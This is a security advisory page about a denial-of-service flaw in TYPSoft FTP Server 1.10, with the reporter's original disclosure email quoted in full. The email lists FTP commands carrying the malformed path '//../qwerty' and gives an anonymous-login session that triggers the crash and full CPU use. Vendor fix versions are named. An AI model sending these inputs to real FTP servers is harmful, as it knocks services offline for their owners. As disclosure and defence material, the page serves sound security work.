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TYPSoft FTP Server Lets Remote Authenticated Users Deny Service With Malformed Parameters
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SecurityTracker Alert ID: 1009200
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SecurityTracker URL: http://securitytracker.com/id?1009200
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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OSVDB Reference: 4058
(Links to External Site)
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Updated: Aug 31 2004
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Original Entry Date: Feb 25 2004
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Impact: Denial of service via network
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Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
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Version(s): 1.10
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Description: A vulnerability was reported in the TYPSoft FTP Server. A remote user can deny service on the target system.
intuit reported that a remote authenticated user can cause the target FTP service to become unavailable by issuing an FTP command
with the following type of parameter:
//../qwerty
According to the report, the mkd, xmkd, dele, size, retr, stor, appe, rnfr,
rnto, rmd, and xrmd commands are affected.
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Impact: A remote authenticated user, including an anonymous user, can cause the FTP service to consume 100% of the CPU resources on the target system.
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Solution: The vendor has released a fixed version (1.11) of the executable, available at:
http://files.typsoft.com/ftpserv-111.zip
A fix for the Alpha version is available at:
http://files.typsoft.com/typftpd-150A2.zip
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Vendor URL: en.typsoft.com/ (Links to External Site)
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Cause: Exception handling error, Input validation error
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Underlying OS: Windows (Any)
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Reported By: "intuit e.b." <intuit@linuxmail.org>
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Message History:
None.
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Source Message Contents
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Date: Tue, 24 Feb 2004 06:45:01 +0800
From: "intuit e.b." <intuit@linuxmail.org>
Subject: TYPSoft FTP Server 1.10 multiple vulnerabilities
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Application: TYPSoft FTP Server
http://www.typsoft.com/
Version: 1.10
Bug: [+] multiple vulnerabilities (Denial Of Service)
[+] 100% employment of computer resources
Author: intuit
e-mail: intuit(at)linuxmail.org
web: http://rootshells.tk/
greetz to: tgs ;)
***********************************************************************
1. Description
2. The bug
3. The code
4. The fix
***********************************************************************
^^^^^^^^^^^^^^^^
1. Description:
^^^^^^^^^^^^^^^^
Vendor's Description:
"TYPSoft FTP Server is a fast and easy ftp server with support to
Standard FTP Command, Clean interface, Virtual File System
architecture, ability to resume Download and Upload, IP Restriction,
Login/Quit message, logs, Multi Language and many other things."
***********************************************************************
^^^^^^^^^^^^^^^^
2. The bug:
^^^^^^^^^^^^^^^^
TYPSoft FTP Server may be DoS'ed with standart ftp commands:
mkd, xmkd, dele, size, retr, stor, appe, rnfr, rnto, rmd, xrmd.
With parameter "//../qwerty", like that:
mkd //../qwerty
xmkd //../qwerty
dele //../qwerty
size //../qwerty
retr //../qwerty
stor //../qwerty
appe //../qwerty
rnfr //../qwerty
rnto //../qwerty
rmd //../qwerty
xrmd //../qwerty
***********************************************************************
^^^^^^^^^^^^^^^^
3. The code:
^^^^^^^^^^^^^^^^
To test the vulnerability:
-----------------------------------------------------------------------
220 TYPSoft FTP Server 1.10 ready...
user anonymous
331 Password required for anonymous.
pass
230 User anonymous logged in.
mkd //../qwerty
-----------------------------------------------------------------------
and the ftp server will be DoS'ed + 100% employment of computer resources.
/*Tested on: Win XP Build 2600, Service Pack: None
Win XP Build 2600, Service Pack: SP1*/
***********************************************************************
^^^^^^^^^^^^^^^^
4. The fix:
^^^^^^^^^^^^^^^^
Not exist.
***********************************************************************
--
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